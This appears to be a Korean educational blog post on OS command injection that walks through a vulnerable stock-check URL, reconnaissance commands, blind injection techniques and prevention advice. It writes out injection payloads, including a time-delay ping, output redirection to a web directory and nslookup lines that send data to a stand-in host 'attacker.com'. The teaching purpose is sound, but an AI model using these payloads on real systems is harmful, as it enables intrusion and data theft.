TigerDemon
Command Injection 정의 및 공격 기법 본문
Command Injection (shell Injection)
검증되지 않은 사용자 입력이 OS 명령어로 실행될 때 발생하는 취약점
- 작은 입력 조작 -> 서버 권한 탈취 가능
- 웹 <-> OS 보안 경계 붕괴
- 애플리케이션·데이터 완전 장악 가능
- 서버 인프라 확장 공격 (pivoting)
- 신뢰 관계 악용 -> 조직 내 다른 시스템 공격
공격 기법
1. 단순 주입(echo, whoami 등)
시나리오A
- 사용자가 웹 브라우저에서 정상적인 URL 요청을 보냄
https://insecure-website.com/stockStatus?productID=381&storeID=29
- 여기서 productID와 storeID는 단순히 숫자 값
- 사용자는 "상품 381번이 매장 29번에 있는지"를 확인하려는 것일 뿐
정상 동작 - 서버 내부 실행
- 서버는 입력받은 값 그대로 Perl 스크립트의 인자로 전달
stockreport.pl 381 29
- 이 스크립트는 재고 조회 기능을 수행
- 결과 : 정상적으로 재고 여부(있음/없음)를 반환
공격 발생 - 악성 입력 전달
- 공격자는 productID 자리에 특수문자와 명령어를 삽입
https://insecure-website.com/stockStatus?productID=& echo aiwefwlguh & &storeID=29
- & 기호는 명령어 구분자로, 여러 명령을 연달아 실행하게 만듦
- 따라서 이제 단순 재고 조회가 아닌, 추가 명령어(echo) 실행 시도가 발생
공격 발생 - 서버 실행 결과
- 서버는 실제로 다음 명령을 실행함
stockreport.pl & echo aiwefwlguh & 29
- 원래 들어가야 할 381은 사라지고 공격자 입력이 삽입되어 3개의 명령어로 나뉨
1. stockreport.pl (인자 없음 -> 에러)
2. echo aiwefwlguh (공격자 문자열 출력)
3. 29 (명령으로 실행 -> 에러)
기본 명령어
-> 공격자가 시스템에 들어가면 "지금 내가 어디 있는지, 무슨 권한인지" 확인하려고 이런 명령어부터 실행
| 목적 | Linux | Windows |
| 현재 사용자 | whoami | whoami |
| OS 버전 확인 | uname -a | ver |
| 네트워크 설정 | ifconfig | ipconfig /all |
| 열려있는 연결 | netstat -an | netstat -an |
| 실행 중 프로세스 | ps -ef | tasklist |
2. Blind OS command injection
많은 사례는 블라인드 취약점 -> 명령 실행 결과가 HTTP 응답에 직접 나타나지 않음
출력이 없더라도 다양한 기법으로 탐지·악용 가능
기법 1 : 시간 지연
- 응답 시간이 지연되는지로 확인
& ping -c 10 127.0.0.1 &
기법 2 : 출력 리다이렉션
- 파일을 직접 열어 결과 확인
& whoami > /var/www/static/whoami.txt &
기법 3 : Out-of-Band (OAST)
- 공격자가 제어하는 서버로 DNS 요청 발생
& nslookup attacker.com &
기법 4 : 데이터 유출
- 공격자가 자신의 DNS 서버에서 whoami 결과를 확인 가능
& nslookup \whoami'.attacker.com &'
3. OS Command Injeciton
명령어 구분자 실행
- Windows / Unix 공통 : &, &&, |, ||
- Unix 전용 : ;, 줄바꿈(\n)
인라인 실행(Unix)
- whoami',$(uname -a)
- 원래 명령 안에 삽입되어 실행됨
메타문자의 특성
- 구분자/인라인 기호마다 동작 차이가 있음
- 어떤 것은 출력이 바로 보이고(in-band), 어떤 것은 Blind 상황에서만 활용 가능
따옴표 닫고 주입
- 입력이 ", ' 안에 있으면 먼저 닫기
- 이후에 새로운 명령 삽입
- 예: "test";whoami;"
OS Command Injeciton 예방 방법
가장 확실한 방법
애플리케이션 코드에서 OS 명령 호출 자체를 하지 않기
예 : 파일 목록 필요 -> ls 호출 X, 언어 API(os.listdir()) 사용O
불가피한 경우
1. 화이트리스트 검증 : 허용된 값만 입력 가능
2. 숫자만 허용 : storeID=29 같은 값만 허용
3. 알파벳·숫자만 허용 : 공백, 특수문자 차단
잘못된 대응
단순히 메타문자를 escape 처리 X -> 공격자는 쉽게 우회 가능하기 때문
'2025-SWLUG > 웹해킹' 카테고리의 다른 글
| burp suite로 Command Injection 실습 2 (1) | 2025.10.01 |
|---|---|
| burp suite로 Command Injection 실습 1 (0) | 2025.10.01 |
| burp suite로 SQL Injection 실습 2 (0) | 2025.09.24 |
| burp suite로 SQL Injection 실습 1 (0) | 2025.09.24 |
| SQL Injection 정의 및 공격 기법 (0) | 2025.09.24 |